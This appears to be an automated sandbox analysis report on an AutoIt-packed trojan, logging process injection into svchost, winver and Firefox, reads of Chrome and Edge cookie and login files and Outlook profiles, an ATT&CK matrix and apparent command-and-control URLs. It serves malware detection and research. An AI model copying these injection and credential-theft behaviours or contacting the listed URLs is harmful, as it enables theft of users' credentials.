Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtClose: Direct from: 0x76EF7B2E
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\winver.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe

Thread register set: target process: 8024

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe

Thread APC queued: target process: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2FCC008

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

0_2_00D71145

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1445D GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00D1445D

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D2EFAD GetForegroundWindow,FindWindowW,IsIconic,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,ShowWindow,

0_2_00D2EFAD

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D7E2D7 mouse_event,

0_2_00D7E2D7

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe"	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Process created: C:\Windows\SysWOW64\winver.exe "C:\Windows\SysWOW64\winver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

0_2_00D70AA6

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D715A7 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00D715A7

Source: FOTO#U011eRAFLAR.exe	Binary or memory string: @EXITMETHOD@EXITCODEShell_TrayWnd%s#comments-end#ceCALLGUICTRLREGISTERLISTVIEWSORTGUICTRLCREATELISTVIEWITEMGUICTRLCREATETREEVIEWITEMGUICTRLCREATECONTEXTMENUONAUTOITEXITUNREGISTERGUICTRLCREATELISTVIEWGUICTRLCREATEMENUITEMGUICTRLCREATECHECKBOXGUICTRLCREATEMONTHCALGUICTRLCREATEPROGRESSGUICTRLCREATETREEVIEWGUICTRLCREATEGRAPHICSTRINGFROMASCIIARRAYONAUTOITEXITREGISTERGUICTRLCREATETABITEMGUICTRLSETDEFBKCOLORINIREADSECTIONNAMESGUICTRLCREATEBUTTONDLLCALLBACKREGISTERGUICTRLCREATEUPDOWNGUICTRLCREATESLIDERSTRINGREGEXPREPLACEOBJCREATEINTERFACEGUICTRLSENDTODUMMYFILECREATESHORTCUTGUICTRLCREATEINPUTSOUNDSETWAVEVOLUMEFILECREATENTFSLINKGUISETACCELERATORSGUICTRLCREATECOMBOGUICTRLSETDEFCOLORPROCESSSETPRIORITYGUICTRLSETRESIZINGSTRINGTOASCIIARRAYDRIVEGETFILESYSTEMGUICTRLCREATEDUMMYTRAYITEMSETONEVENTGUICTRLCREATERADIOWINMINIMIZEALLUNDOGUICTRLCREATEGROUPGUICTRLCREATELABELAUTOITWINSETTITLEGUICTRLSETBKCOLORAUTOITWINGETTITLEGUICTRLSETGRAPHICGUICTRLCREATEDATEGUICTRLCREATEICONGUICTRLSETONEVENTCONSOLEWRITEERRORDLLCALLBACKGETPTRGUICTRLCREATELISTTRAYITEMGETHANDLEFILEFINDFIRSTFILEGUICTRLCREATEEDITGUICTRLCREATEMENUWINMENUSELECTITEMGUICTRLSETCURSORDLLSTRUCTGETDATASTATUSBARGETTEXTFILERECYCLEEMPTYFILESELECTFOLDERTRAYITEMSETSTATEDLLSTRUCTSETDATATRAYITEMGETSTATEWINGETCLIENTSIZEGUICTRLCREATEAVIHTTPSETUSERAGENTGUICTRLCREATEPICCONTROLGETHANDLEGUIGETCURSORINFOTRAYSETPAUSEICONFILEFINDNEXTFILEINIRENAMESECTIONDLLSTRUCTGETSIZESHELLEXECUTEWAITPROCESSWAITCLOSEGUICTRLCREATETABFILEGETSHORTNAMEWINWAITNOTACTIVEGUICTRLCREATEOBJGUICTRLGETHANDLESTRINGTRIMRIGHTGUICTRLSETLIMITGUICTRLSETIMAGEINIWRITESECTIONCONTROLTREEVIEWAUTOITSETOPTIONGUICTRLSETCOLORDLLSTRUCTGETPTRADLIBUNREGISTERDRIVESPACETOTALGUICTRLSETSTATEWINGETCLASSLISTGUICTRLGETSTATEFILEGETSHORTCUTDLLSTRUCTCREATEPROCESSGETSTATSCONTROLGETFOCUSDLLCALLBACKFREEGUICTRLSETSTYLEFILEREADTOARRAYTRAYITEMSETTEXTCONTROLLISTVIEWTRAYITEMGETTEXTFILEGETENCODINGFILEGETLONGNAMEGUICTRLSENDMSGSENDKEEPACTIVEDRIVESPACEFREEFILEOPENDIALOGGUICTRLRECVMSGCONTROLCOMMANDSTRINGTOBINARYWINMINIMIZEALLSTRINGISXDIGITTRAYSETONEVENTFILESAVEDIALOGDUMMYSPEEDTESTCONTROLGETTEXTMOUSECLICKDRAGGUICTRLSETFONTMOUSEGETCURSORWINGETCARETPOSCONTROLSETTEXTTRAYITEMDELETESTRINGTRIMLEFTDRIVEGETSERIALBINARYTOSTRINGGUICTRLSETDATAINIREADSECTIONUDPCLOSESOCKETCONTROLDISABLETRAYCREATEMENUTCPCLOSESOCKETDLLCALLADDRESSFILEGETVERSIONGUIREGISTERMSGTRAYSETTOOLTIPTRAYCREATEITEMDRIVEGETDRIVESTRINGISASCIISTRINGCOMPARESTRINGISALPHAPROCESSEXISTSSTRINGREVERSESTRINGSTRIPCRSPLASHIMAGEONGUICTRLSETTIPGUISTARTGROUPCONTROLGETPOSFILEGETATTRIBADLIBREGISTERDRIVESETLABELGUICTRLDELETEFILECHANGEDIRFILEWRITELINEPIXELCHECKSUMDRIVEGETLABELGUICTRLSETPOSGUISETBKCOLORPIXELGETCOLORSTRINGISDIGITSTRINGISFLOATWINWAITACTIVESTRINGISALNUMSTRINGISLOWERSTRINGISSPACEGUISETONEVENTSTRINGREPLACESTRINGSTRIPWSCONTROLENABLESTRINGISUPPERWINGETPROCESSFILESETATTRIBCONTROLFOCUSFILEREADLINEPROCESSCLOSEGUISETCURSORSPLASHTEXTONSTRINGFORMATTRAYSETSTATESTRINGREGEXPCONTROLCLICKSHELLEXECUTETRAYSETCLICKWINWAITCLOSEHTTPSETPROXYDRIVEGETTYPEWINGETHANDLECONSOLEWRITEG
Source: FOTO#U011eRAFLAR.exe, GhotoFFnRo.exe, 00000005.00000002.3545735344.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000000.1938162683.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000000.2087251347.00000000011B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: GhotoFFnRo.exe, 00000005.00000002.3545735344.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000000.1938162683.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000000.2087251347.00000000011B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: GhotoFFnRo.exe, 00000005.00000002.3545735344.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000000.1938162683.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000000.2087251347.00000000011B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: GhotoFFnRo.exe, 00000005.00000002.3545735344.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000000.1938162683.00000000013D0000.00000002.00000001.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000000.2087251347.00000000011B0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D30618 cpuid

0_2_00D30618

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D880B3 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00D880B3

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D6DA16 GetUserNameW,

0_2_00D6DA16

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D4BB0F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00D4BB0F

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2012145210.0000000005860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546137914.0000000000F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3545010767.0000000000830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3547691925.0000000004ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011124026.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546082583.0000000000EF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3546078918.0000000002AE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011753567.0000000003B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\winver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_81
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_XP
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_XPe
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_VISTA
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_7
Source: FOTO#U011eRAFLAR.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2012145210.0000000005860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546137914.0000000000F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3545010767.0000000000830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3547691925.0000000004ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011124026.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3546082583.0000000000EF0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3546078918.0000000002AE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2011753567.0000000003B90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D9112B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_00D9112B
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D9172D socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00D9172D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
FOTO#U011eRAFLAR.exe	71%	ReversingLabs	Win32.Trojan.AutoitInject
FOTO#U011eRAFLAR.exe	100%	Avira	DR/AutoIt.Gen8
FOTO#U011eRAFLAR.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.t19yd.top/pmk2/?C0oD=3De3Y80JIFpHXFcRK4zsuRoR2JqTRvVObOTBM3no2IT+Ydj8n3o/JZofxiKD9jGsDaNhY1uQAIUnKpNiMGMuE6w7CVHn6nbaXTI3bq+rgxbHjMuEgJndnnM=&SJLty=7Zsl8bAHqdkHEnH	0%	Avira URL Cloud	safe
http://www.fitlook.shop/34uy/	0%	Avira URL Cloud	safe
http://www.smirpox.xyz/qnzs/	0%	Avira URL Cloud	safe
